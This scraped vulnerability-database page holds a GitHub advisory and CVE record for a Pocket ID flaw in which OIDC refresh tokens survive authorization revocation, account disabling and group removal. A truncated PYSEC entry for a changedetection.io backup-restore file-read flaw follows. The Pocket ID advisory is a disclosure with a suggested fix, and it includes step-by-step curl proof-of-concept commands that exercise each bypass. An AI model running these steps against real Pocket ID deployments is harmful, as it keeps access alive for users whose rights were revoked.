GHSA-W6P7-2FXX-4F44

Vulnerability from github – Published: 2026-07-28 14:12 – Updated: 2026-07-28 14:12

Summary

Pocket ID: OIDC refresh token flow bypasses authorization revocation, account disabling, and group restrictions

Details

OIDC Refresh Token Flow Bypasses Authorization Revocation, Account Disabling, and Group Restrictions

Summary

The createTokenFromRefreshToken function (oidc_service.go:451) validates the refresh token's cryptographic integrity but does not re-validate the user's current authorization state before issuing new tokens. This allows three bypasses:

Authorization revocation bypass: After a user revokes an OIDC client's authorization, the client can continue refreshing tokens indefinitely because RevokeAuthorizedClient does not delete associated refresh tokens, and the refresh flow does not check if the authorization record still exists.
Disabled user bypass: After an admin disables a user account, pre-existing refresh tokens continue to work because the OIDC token endpoint does not check user.Disabled. Session-based access is properly blocked by auth middleware, but the OIDC refresh path bypasses it entirely.
Group restriction bypass: After removing a user from an OIDC client's allowed user groups, the refresh token continues to work because createTokenFromRefreshToken does not call IsUserGroupAllowedToAuthorize.

Each refresh rotates the token with a fresh 30-day expiry, enabling perpetual access.

Target

Repository: pocket-id/pocket-id
Version: HEAD (626adbf), also affects v2.5.0 and all versions with refresh token support

Root Cause

createTokenFromRefreshToken (oidc_service.go:451-547) performs the following checks on a refresh request:

Verify the signed refresh token JWT (line 457) -- checked
Verify client credentials (line 467) -- checked
Look up stored refresh token by hash, expiry, user_id, client_id (line 478-495) -- checked
Verify refresh token belongs to the requesting client (line 498) -- checked

It does NOT check: - Whether a UserAuthorizedOidcClient record still exists for the user-client pair -- MISSING - Whether user.Disabled is false -- MISSING - Whether IsUserGroupAllowedToAuthorize passes for group-restricted clients -- MISSING (groups are loaded at line 481 via Preload("User.UserGroups") but never validated)

Meanwhile, RevokeAuthorizedClient (line 1445-1471) only deletes the UserAuthorizedOidcClient record. It does not delete associated OidcRefreshToken records. There is no FK cascade between these tables (the FK cascade on oidc_refresh_tokens is only on user DELETE and client DELETE, not on authorization record deletion).

Proof of Concept (Verified Live)

Tested against Pocket ID HEAD (626adbf) running in Docker with e2etest build. All 20 test assertions pass.

Variant 1: Authorization Revocation Bypass

# Reset test DB
curl -s -X POST http://localhost:1411/api/test/reset?skip-ldap=true

# Authenticate as Tim (admin user, seeded OTA token)
curl -s -c cookies.txt -X POST http://localhost:1411/api/one-time-access-token/HPe6k6uiDRRVuAQV

# Authorize Nextcloud client
AUTH_CODE=$(curl -s -b cookies.txt -X POST http://localhost:1411/api/oidc/authorize \
  -H "Content-Type: application/json" \
  -d '{"clientId":"3654a746-35d4-4321-ac61-0bdcff2b4055","scope":"openid profile email groups","callbackURL":"http://nextcloud/auth/callback"}' \
  | python3 -c "import json,sys; print(json.load(sys.stdin)['code'])")

# Exchange for tokens (including refresh token)
TOKENS=$(curl -s -X POST http://localhost:1411/api/oidc/token \
  -d "grant_type=authorization_code&code=$AUTH_CODE&client_id=3654a746-35d4-4321-ac61-0bdcff2b4055&client_secret=w2mUeZISmEvIDMEDvpY0PnxQIpj1m3zY&redirect_uri=http://nextcloud/auth/callback")
REFRESH=$(echo $TOKENS | python3 -c "import json,sys; print(json.load(sys.stdin)['refresh_token'])")

# User revokes authorization (returns 204)
curl -s -o /dev/null -w "%{http_code}" -b cookies.txt \
  -X DELETE http://localhost:1411/api/oidc/users/me/authorized-clients/3654a746-35d4-4321-ac61-0bdcff2b4055
# Output: 204

# ATTACK: Refresh token STILL WORKS after revocation
curl -s -X POST http://localhost:1411/api/oidc/token \
  -d "grant_type=refresh_token&refresh_token=$REFRESH&client_id=3654a746-35d4-4321-ac61-0bdcff2b4055&client_secret=w2mUeZISmEvIDMEDvpY0PnxQIpj1m3zY"
# Returns 200 with new access_token, id_token (containing PII), and refresh_token (new 30-day expiry)

Live output: Introspection confirms active: true. ID token contains: name: Tim Cook, email: tim.cook@test.com, groups: [designers, developers].

Variant 2: Disabled User Bypass

# (After setup and obtaining refresh token as above)

# Admin disables Tim's account
curl -s -b cookies.txt -X PUT http://localhost:1411/api/users/f4b89dc2-62fb-46bf-9f5f-c34f4eafe93e \
  -H "Content-Type: application/json" \
  -d '{"disabled":true,"username":"tim","email":"tim.cook@test.com","firstName":"Tim","lastName":"Cook","isAdmin":true}'
# Returns 200 with disabled: true

# Session access properly blocked (auth middleware checks Disabled)
curl -s -o /dev/null -w "%{http_code}" -b cookies.txt http://localhost:1411/api/users/me
# Output: 401

# ATTACK: Refresh token STILL WORKS for disabled user
curl -s -X POST http://localhost:1411/api/oidc/token \
  -d "grant_type=refresh_token&refresh_token=$REFRESH&client_id=3654a746-35d4-4321-ac61-0bdcff2b4055&client_secret=w2mUeZISmEvIDMEDvpY0PnxQIpj1m3zY"
# Returns 200 with full token set

# Userinfo also works for disabled user
curl -s -H "Authorization: Bearer $NEW_ACCESS" http://localhost:1411/api/oidc/userinfo
# Returns: {"name":"Tim Cook","email":"tim.cook@test.com",...}

Impact: The admin kill switch for terminating employee access is completely bypassed. A fired employee's pre-existing OIDC refresh tokens continue to grant access to all downstream services.

Variant 3: Group Restriction Bypass

# (After setup, authorize Immich client which is group-restricted to "designers")
# Tim is in designers group, gets authorized and obtains refresh token

# Remove Tim from designers group (keep only Craig)
curl -s -b cookies.txt -X PUT http://localhost:1411/api/user-groups/adab18bf-f89d-4087-9ee1-70ff15b48211/users \
  -H "Content-Type: application/json" -d '{"userIds":["1cd19686-f9a6-43f4-a41f-14a0bf5b4036"]}'
# Tim no longer in designers

# ATTACK: Refresh token STILL WORKS after group removal
# Returns 200 with new tokens

Impact

The three variants share the same root cause but have different real-world implications:

Authorization revocation is ineffective: Users who revoke an OIDC client's access have a false sense of security. A malicious or compromised client retains indefinite access to the user's identity data through token rotation. The id_token issued during refresh contains full PII (name, email, groups, custom claims) regardless of the userinfo endpoint's authorization check.
Account disabling does not terminate OIDC access: This is the highest-severity variant. When an organization terminates an employee and disables their Pocket ID account, all session-based access is correctly blocked. But any OIDC client that obtained a refresh token before the disabling continues to have full access. In enterprise environments where Pocket ID gates access to sensitive services (Git, CI/CD, infrastructure), this creates a persistent backdoor.
Group-based access control is only enforced at authorization time: Group restrictions on OIDC clients (e.g., "only the infrastructure team can access the CI/CD client") can be bypassed by anyone who obtained a refresh token before being removed from the group.

GitHub issue #1390 reports a similar pattern: refresh tokens are not deleted when a session ends via the end-session endpoint. Same root cause (refresh token lifecycle detached from authorization state), different entry point.

Suggested Fix

Primary fix: Re-validate authorization state in createTokenFromRefreshToken

Add the following checks after the refresh token lookup (after line 495):

// Check 1: Verify user is not disabled
if storedRefreshToken.User.Disabled {
    return CreatedTokens{}, &common.OidcInvalidRefreshTokenError{}
}

// Check 2: Verify UserAuthorizedOidcClient still exists
var authorizedClient model.UserAuthorizedOidcClient
err = tx.WithContext(ctx).
    Where("user_id = ? AND client_id = ?", storedRefreshToken.UserID, input.ClientID).
    First(&authorizedClient).Error
if errors.Is(err, gorm.ErrRecordNotFound) {
    // Authorization was revoked - delete this refresh token and reject
    tx.Delete(&storedRefreshToken)
    return CreatedTokens{}, &common.OidcInvalidRefreshTokenError{}
}

// Check 3: Re-verify group restrictions
if !IsUserGroupAllowedToAuthorize(storedRefreshToken.User, client) {
    return CreatedTokens{}, &common.OidcAccessDeniedError{}
}

Secondary fix: Delete refresh tokens on authorization revocation

In RevokeAuthorizedClient, also delete all refresh tokens for the user-client pair:

// After deleting the authorized client record
err = tx.WithContext(ctx).
    Where("user_id = ? AND client_id = ?", userID, clientID).
    Delete(&model.OidcRefreshToken{}).Error
if err != nil {
    return err
}

Both fixes should be applied together (defense in depth).

Self-Review

Is this by-design? No. The revocation feature, the disabled flag, and group restrictions all exist to control access. The refresh flow bypassing all three is a bug, not a feature.
Are there upstream bounds? No. Refresh tokens are stored independently. No FK cascade, no periodic cleanup, no validation of authorization state.
Honest weaknesses:
Variant 1 (revocation): The attacker must be the OIDC client operator (they need client credentials and existing refresh token). Userinfo endpoint does return 404 after revocation, which is a partial mitigation. But the id_token issued during refresh already contains all PII.
All variants: Requires a pre-existing refresh token, so the access must have been legitimately granted at some point.
Existing reports: Issue #1390 covers the related end-session case. No prior security reports for the revocation/disabled/group variants.

Koda Reef

Severity

8.5 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/pocket-id/pocket-id/backend"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260419162744-978ac87deffe"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43983"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-613"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-28T14:12:44Z",
    "nvd_published_at": "2026-05-12T15:16:15Z",
    "severity": "HIGH"
  },
  "details": "# OIDC Refresh Token Flow Bypasses Authorization Revocation, Account Disabling, and Group Restrictions\n\n## Summary\n\nThe `createTokenFromRefreshToken` function (oidc_service.go:451) validates the refresh token\u0027s cryptographic integrity but does not re-validate the user\u0027s current authorization state before issuing new tokens. This allows three bypasses:\n\n1. **Authorization revocation bypass**: After a user revokes an OIDC client\u0027s authorization, the client can continue refreshing tokens indefinitely because `RevokeAuthorizedClient` does not delete associated refresh tokens, and the refresh flow does not check if the authorization record still exists.\n\n2. **Disabled user bypass**: After an admin disables a user account, pre-existing refresh tokens continue to work because the OIDC token endpoint does not check `user.Disabled`. Session-based access is properly blocked by auth middleware, but the OIDC refresh path bypasses it entirely.\n\n3. **Group restriction bypass**: After removing a user from an OIDC client\u0027s allowed user groups, the refresh token continues to work because `createTokenFromRefreshToken` does not call `IsUserGroupAllowedToAuthorize`.\n\nEach refresh rotates the token with a fresh 30-day expiry, enabling perpetual access.\n\n## Target\n\n- **Repository**: pocket-id/pocket-id\n- **Version**: HEAD (626adbf), also affects v2.5.0 and all versions with refresh token support\n\n## Root Cause\n\n`createTokenFromRefreshToken` (oidc_service.go:451-547) performs the following checks on a refresh request:\n\n1. Verify the signed refresh token JWT (line 457) -- **checked**\n2. Verify client credentials (line 467) -- **checked**\n3. Look up stored refresh token by hash, expiry, user_id, client_id (line 478-495) -- **checked**\n4. Verify refresh token belongs to the requesting client (line 498) -- **checked**\n\nIt does NOT check:\n- Whether a `UserAuthorizedOidcClient` record still exists for the user-client pair -- **MISSING**\n- Whether `user.Disabled` is false -- **MISSING**\n- Whether `IsUserGroupAllowedToAuthorize` passes for group-restricted clients -- **MISSING** (groups are loaded at line 481 via `Preload(\"User.UserGroups\")` but never validated)\n\nMeanwhile, `RevokeAuthorizedClient` (line 1445-1471) only deletes the `UserAuthorizedOidcClient` record. It does not delete associated `OidcRefreshToken` records. There is no FK cascade between these tables (the FK cascade on `oidc_refresh_tokens` is only on user DELETE and client DELETE, not on authorization record deletion).\n\n## Proof of Concept (Verified Live)\n\nTested against Pocket ID HEAD (626adbf) running in Docker with e2etest build. All 20 test assertions pass.\n\n### Variant 1: Authorization Revocation Bypass\n\n```bash\n# Reset test DB\ncurl -s -X POST http://localhost:1411/api/test/reset?skip-ldap=true\n\n# Authenticate as Tim (admin user, seeded OTA token)\ncurl -s -c cookies.txt -X POST http://localhost:1411/api/one-time-access-token/HPe6k6uiDRRVuAQV\n\n# Authorize Nextcloud client\nAUTH_CODE=$(curl -s -b cookies.txt -X POST http://localhost:1411/api/oidc/authorize \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"clientId\":\"3654a746-35d4-4321-ac61-0bdcff2b4055\",\"scope\":\"openid profile email groups\",\"callbackURL\":\"http://nextcloud/auth/callback\"}\u0027 \\\n  | python3 -c \"import json,sys; print(json.load(sys.stdin)[\u0027code\u0027])\")\n\n# Exchange for tokens (including refresh token)\nTOKENS=$(curl -s -X POST http://localhost:1411/api/oidc/token \\\n  -d \"grant_type=authorization_code\u0026code=$AUTH_CODE\u0026client_id=3654a746-35d4-4321-ac61-0bdcff2b4055\u0026client_secret=w2mUeZISmEvIDMEDvpY0PnxQIpj1m3zY\u0026redirect_uri=http://nextcloud/auth/callback\")\nREFRESH=$(echo $TOKENS | python3 -c \"import json,sys; print(json.load(sys.stdin)[\u0027refresh_token\u0027])\")\n\n# User revokes authorization (returns 204)\ncurl -s -o /dev/null -w \"%{http_code}\" -b cookies.txt \\\n  -X DELETE http://localhost:1411/api/oidc/users/me/authorized-clients/3654a746-35d4-4321-ac61-0bdcff2b4055\n# Output: 204\n\n# ATTACK: Refresh token STILL WORKS after revocation\ncurl -s -X POST http://localhost:1411/api/oidc/token \\\n  -d \"grant_type=refresh_token\u0026refresh_token=$REFRESH\u0026client_id=3654a746-35d4-4321-ac61-0bdcff2b4055\u0026client_secret=w2mUeZISmEvIDMEDvpY0PnxQIpj1m3zY\"\n# Returns 200 with new access_token, id_token (containing PII), and refresh_token (new 30-day expiry)\n```\n\n**Live output**: Introspection confirms `active: true`. ID token contains: `name: Tim Cook, email: tim.cook@test.com, groups: [designers, developers]`.\n\n### Variant 2: Disabled User Bypass\n\n```bash\n# (After setup and obtaining refresh token as above)\n\n# Admin disables Tim\u0027s account\ncurl -s -b cookies.txt -X PUT http://localhost:1411/api/users/f4b89dc2-62fb-46bf-9f5f-c34f4eafe93e \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"disabled\":true,\"username\":\"tim\",\"email\":\"tim.cook@test.com\",\"firstName\":\"Tim\",\"lastName\":\"Cook\",\"isAdmin\":true}\u0027\n# Returns 200 with disabled: true\n\n# Session access properly blocked (auth middleware checks Disabled)\ncurl -s -o /dev/null -w \"%{http_code}\" -b cookies.txt http://localhost:1411/api/users/me\n# Output: 401\n\n# ATTACK: Refresh token STILL WORKS for disabled user\ncurl -s -X POST http://localhost:1411/api/oidc/token \\\n  -d \"grant_type=refresh_token\u0026refresh_token=$REFRESH\u0026client_id=3654a746-35d4-4321-ac61-0bdcff2b4055\u0026client_secret=w2mUeZISmEvIDMEDvpY0PnxQIpj1m3zY\"\n# Returns 200 with full token set\n\n# Userinfo also works for disabled user\ncurl -s -H \"Authorization: Bearer $NEW_ACCESS\" http://localhost:1411/api/oidc/userinfo\n# Returns: {\"name\":\"Tim Cook\",\"email\":\"tim.cook@test.com\",...}\n```\n\n**Impact**: The admin kill switch for terminating employee access is completely bypassed. A fired employee\u0027s pre-existing OIDC refresh tokens continue to grant access to all downstream services.\n\n### Variant 3: Group Restriction Bypass\n\n```bash\n# (After setup, authorize Immich client which is group-restricted to \"designers\")\n# Tim is in designers group, gets authorized and obtains refresh token\n\n# Remove Tim from designers group (keep only Craig)\ncurl -s -b cookies.txt -X PUT http://localhost:1411/api/user-groups/adab18bf-f89d-4087-9ee1-70ff15b48211/users \\\n  -H \"Content-Type: application/json\" -d \u0027{\"userIds\":[\"1cd19686-f9a6-43f4-a41f-14a0bf5b4036\"]}\u0027\n# Tim no longer in designers\n\n# ATTACK: Refresh token STILL WORKS after group removal\n# Returns 200 with new tokens\n```\n\n## Impact\n\nThe three variants share the same root cause but have different real-world implications:\n\n1. **Authorization revocation is ineffective**: Users who revoke an OIDC client\u0027s access have a false sense of security. A malicious or compromised client retains indefinite access to the user\u0027s identity data through token rotation. The id_token issued during refresh contains full PII (name, email, groups, custom claims) regardless of the userinfo endpoint\u0027s authorization check.\n\n2. **Account disabling does not terminate OIDC access**: This is the highest-severity variant. When an organization terminates an employee and disables their Pocket ID account, all session-based access is correctly blocked. But any OIDC client that obtained a refresh token before the disabling continues to have full access. In enterprise environments where Pocket ID gates access to sensitive services (Git, CI/CD, infrastructure), this creates a persistent backdoor.\n\n3. **Group-based access control is only enforced at authorization time**: Group restrictions on OIDC clients (e.g., \"only the infrastructure team can access the CI/CD client\") can be bypassed by anyone who obtained a refresh token before being removed from the group.\n\n## Related\n\nGitHub issue #1390 reports a similar pattern: refresh tokens are not deleted when a session ends via the end-session endpoint. Same root cause (refresh token lifecycle detached from authorization state), different entry point.\n\n## Suggested Fix\n\n### Primary fix: Re-validate authorization state in createTokenFromRefreshToken\n\nAdd the following checks after the refresh token lookup (after line 495):\n\n```go\n// Check 1: Verify user is not disabled\nif storedRefreshToken.User.Disabled {\n    return CreatedTokens{}, \u0026common.OidcInvalidRefreshTokenError{}\n}\n\n// Check 2: Verify UserAuthorizedOidcClient still exists\nvar authorizedClient model.UserAuthorizedOidcClient\nerr = tx.WithContext(ctx).\n    Where(\"user_id = ? AND client_id = ?\", storedRefreshToken.UserID, input.ClientID).\n    First(\u0026authorizedClient).Error\nif errors.Is(err, gorm.ErrRecordNotFound) {\n    // Authorization was revoked - delete this refresh token and reject\n    tx.Delete(\u0026storedRefreshToken)\n    return CreatedTokens{}, \u0026common.OidcInvalidRefreshTokenError{}\n}\n\n// Check 3: Re-verify group restrictions\nif !IsUserGroupAllowedToAuthorize(storedRefreshToken.User, client) {\n    return CreatedTokens{}, \u0026common.OidcAccessDeniedError{}\n}\n```\n\n### Secondary fix: Delete refresh tokens on authorization revocation\n\nIn `RevokeAuthorizedClient`, also delete all refresh tokens for the user-client pair:\n\n```go\n// After deleting the authorized client record\nerr = tx.WithContext(ctx).\n    Where(\"user_id = ? AND client_id = ?\", userID, clientID).\n    Delete(\u0026model.OidcRefreshToken{}).Error\nif err != nil {\n    return err\n}\n```\n\nBoth fixes should be applied together (defense in depth).\n\n## Self-Review\n\n- **Is this by-design?** No. The revocation feature, the disabled flag, and group restrictions all exist to control access. The refresh flow bypassing all three is a bug, not a feature.\n- **Are there upstream bounds?** No. Refresh tokens are stored independently. No FK cascade, no periodic cleanup, no validation of authorization state.\n- **Honest weaknesses**: \n  - Variant 1 (revocation): The attacker must be the OIDC client operator (they need client credentials and existing refresh token). Userinfo endpoint does return 404 after revocation, which is a partial mitigation. But the id_token issued during refresh already contains all PII.\n  - All variants: Requires a pre-existing refresh token, so the access must have been legitimately granted at some point.\n- **Existing reports**: Issue #1390 covers the related end-session case. No prior security reports for the revocation/disabled/group variants.\n\n\nKoda Reef",
  "id": "GHSA-w6p7-2fxx-4f44",
  "modified": "2026-07-28T14:12:44Z",
  "published": "2026-07-28T14:12:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pocket-id/pocket-id/security/advisories/GHSA-w6p7-2fxx-4f44"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43983"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pocket-id/pocket-id/commit/978ac87deffec58beaccd15aead975e91b94c8a5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pocket-id/pocket-id"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pocket-id/pocket-id/releases/tag/v2.6.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Pocket ID: OIDC refresh token flow bypasses authorization revocation, account disabling, and group restrictions"
}

CVE-2026-43983 (GCVE-0-2026-43983)

Vulnerability from cvelistv5 – Published: 2026-05-12 14:19 – Updated: 2026-05-13 14:33

Title

Pocket ID: OIDC refresh token flow bypasses authorization revocation, account disabling, and group restrictions

Summary

Pocket ID is an OIDC provider that allows users to authenticate with their passkeys to your services. Prior to 2.6.0, The createTokenFromRefreshToken function (oidc_service.go) validates the refresh token's cryptographic integrity but does not re-validate the user's current authorization state before issuing new tokens. This allows (1) the client to refresh the token indefinitely after authorization revocation, (2) the refresh token to continue to work after the account is disabled, and (3) the token to work after the client is removed from the group. This vulnerability is fixed in 2.6.0.

Severity

8.5 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-285 - Improper Authorization
CWE-613 - Insufficient Session Expiration

Assigner

GitHub_M

References

1 reference

URL	Tags
https://github.com/pocket-id/pocket-id/security/a…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
pocket-id	pocket-id	Affected: < 2.6.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-43983",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-13T14:33:14.177000Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-13T14:33:53.974Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/pocket-id/pocket-id/security/advisories/GHSA-w6p7-2fxx-4f44"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "pocket-id",
          "vendor": "pocket-id",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.6.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Pocket ID is an OIDC provider that allows users to authenticate with their passkeys to your services. Prior to 2.6.0, The createTokenFromRefreshToken function (oidc_service.go) validates the refresh token\u0027s cryptographic integrity but does not re-validate the user\u0027s current authorization state before issuing new tokens. This allows (1) the client to refresh the token indefinitely after authorization revocation, (2) the refresh token to continue to work after the account is disabled, and (3) the token to work after the client is removed from the group. This vulnerability is fixed in 2.6.0."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.5,
            "baseSeverity": "HIGH",
            "privilegesRequired": "LOW",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "PASSIVE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-285",
              "description": "CWE-285: Improper Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-613",
              "description": "CWE-613: Insufficient Session Expiration",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-12T14:19:01.166Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/pocket-id/pocket-id/security/advisories/GHSA-w6p7-2fxx-4f44",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/pocket-id/pocket-id/security/advisories/GHSA-w6p7-2fxx-4f44"
        }
      ],
      "source": {
        "advisory": "GHSA-w6p7-2fxx-4f44",
        "discovery": "UNKNOWN"
      },
      "title": "Pocket ID: OIDC refresh token flow bypasses authorization revocation, account disabling, and group restrictions"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-43983",
    "datePublished": "2026-05-12T14:19:01.166Z",
    "dateReserved": "2026-05-04T20:24:31.916Z",
    "dateUpdated": "2026-05-13T14:33:53.974Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

PYSEC-2026-30

Vulnerability from pysec - Published: 2026-05-12 18:17 - Updated: 2026-05-20 09:18

Details

changedetection.io is a free open source web page change detection tool. Prior to 0.55.1, the vulnerability is caused by trusting attacker-controlled snapshot paths restored from backup files. The vulnerable flow starts in the backup restore logic. When a backup ZIP is restored, the application extracts the archive and copies each restored watch UUID directory directly into the live datastore using shutil.copytree(entry.path, dst_dir). This preserves attacker-controlled files inside the restored watch directory, including history.txt. After restore, the application parses history.txt in the watch history property and returns the contents of the targeted local file. This vulnerability is fixed in 0.55.1.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Impacted products

Name	purl
changedetection-io	pkg:pypi/changedetection-io

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "changedetection-io",
        "purl": "pkg:pypi/changedetection-io"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.55.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.38.2",
        "0.39",
        "0.39.1",
        "0.39.10",
        "0.39.10.post1",
        "0.39.10.post2",
        "0.39.11",
        "0.39.12",
        "0.39.13",
        "0.39.13.1",
        "0.39.14",
        "0.39.14.1",
        "0.39.15",
        "0.39.16",
        "0.39.17",
        "0.39.17.1",
        "0.39.17.2",
        "0.39.18",
        "0.39.19",
        "0.39.19.1",
        "0.39.2",
        "0.39.20",
        "0.39.20.1",
        "0.39.20.2",
        "0.39.20.3",
        "0.39.20.4",
        "0.39.21",
        "0.39.21.1",
        "0.39.22",
        "0.39.22.1",
        "0.39.3",
        "0.39.4",
        "0.39.5",
        "0.39.6",
        "0.39.7",
        "0.39.8",
        "0.39.9",
        "0.40.0",
        "0.40.0.1",
        "0.40.0.2",
        "0.40.0.3",
        "0.40.0.4",
        "0.40.1.0",
        "0.40.1.1",
        "0.40.2",
        "0.40.3",
        "0.41",
        "0.41.1",
        "0.42",
        "0.42.1",
        "0.42.2",
        "0.42.3",
        "0.43.1",
        "0.43.2",
        "0.44",
        "0.44.1",
        "0.45",
        "0.45.1",
        "0.45.11",
        "0.45.12",
        "0.45.13",
        "0.45.14",
        "0.45.15",
        "0.45.16",
        "0.45.17",
        "0.45.18",
        "0.45.19",
        "0.45.2",
        "0.45.20",
        "0.45.21",
        "0.45.22",
        "0.45.23",
        "0.45.24",
        "0.45.25",
        "0.45.26",
        "0.45.3",
        "0.45.4",
        "0.45.5",
        "0.45.6",
        "0.45.7",
        "0.45.7.1",
        "0.45.7.2",
        "0.45.7.3",
        "0.45.8",
        "0.45.8.1",
        "0.45.9",
        "0.46.0",
        "0.46.1",
        "0.46.2",
        "0.46.3",
        "0.46.4",
        "0.47.0",
        "0.47.1",
        "0.47.2",
        "0.47.3",
        "0.47.4",
        "0.47.5",
        "0.47.6",
        "0.48.0",
        "0.48.1",
        "0.48.2",
        "0.48.3",
        "0.48.4",
        "0.48.5",
        "0.48.6",
        "0.49.0",
        "0.49.1",
        "0.49.10",
        "0.49.12",
        "0.49.13",
        "0.49.14",
        "0.49.15",
        "0.49.16",
        "0.49.17",
        "0.49.18",
        "0.49.2",
        "0.49.3",
        "0.49.4",
        "0.49.5",
        "0.49.6",
        "0.49.7",
        "0.49.8",
        "0.49.9",
        "0.50.1",
        "0.50.10",
        "0.50.11",
        "0.50.12",
        "0.50.13",
        "0.50.14",
        "0.50.15",
        "0.50.16",
        "0.50.17",
        "0.50.18",
        "0.50.19",
        "0.50.2",
        "0.50.20",
        "0.50.21",
        "0.50.22",
        "0.50.23",
        "0.50.24",
        "0.50.25",
        "0.50.26",
        "0.50.27",
        "0.50.28",
        "0.50.29",
        "0.50.3",
        "0.50.30",
        "0.50.31",
        "0.50.32",
        "0.50.33",
        "0.50.34",
        "0.50.35",
        "0.50.37",
        "0.50.38",
        "0.50.39",
        "0.50.4",
        "0.50.40",
        "0.50.41",
        "0.50.42",
        "0.50.43",
        "0.50.5",
        "0.50.6",
        "0.50.7",
        "0.50.8",
        "0.50.9",
        "0.51.0",
        "0.51.1",
        "0.51.2",
        "0.51.3",
        "0.51.4",
        "0.52.1",
        "0.52.2",
        "0.52.3",
        "0.52.4",
        "0.52.5",
        "0.52.6",
        "0.52.7",
        "0.52.8",
        "0.52.9",
        "0.53.1",
        "0.53.2",
        "0.53.3",
        "0.53.4",
        "0.53.5",
        "0.53.6",
        "0.53.7",
        "0.54.1",
        "0.54.10",
        "0.54.2",
        "0.54.3",
        "0.54.4",
        "0.54.5",
        "0.54.6",
        "0.54.7",
        "0.54.8",
        "0.54.9"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43891",
    "GHSA-8757-69j2-hx56"
  ],
  "details": "changedetection.io is a free open source web page change detection tool. Prior to 0.55.1, the vulnerability is caused by trusting attacker-controlled snapshot paths restored from backup files. The vulnerable flow starts in the backup restore logic. When a backup ZIP is restored, the application extracts the archive and copies each restored watch UUID directory directly into the live datastore using shutil.copytree(entry.path, dst_dir). This preserves attacker-controlled files inside the restored watch directory, including history.txt. After restore, the application parses history.txt in the watch history property and  returns the contents of the targeted local file. This vulnerability is fixed in 0.55.1.",
  "id": "PYSEC-2026-30",
  "modified": "2026-05-20T09:18:54.474633Z",
  "published": "2026-05-12T18:17:28.493Z",
  "references": [
    {
      "type": "EVIDENCE",
      "url": "https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-8757-69j2-hx56"
    },
    {
      "type": "EVIDENCE",
      "url": "https://github.com/pocket-id/pocket-id/security/advisories/GHSA-w6p7-2fxx-4f44"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-8757-69j2-hx56"
    }
  ],
  "related": [
    "GHSA-w6p7-2fxx-4f44"
  ],
  "severity": [
    {
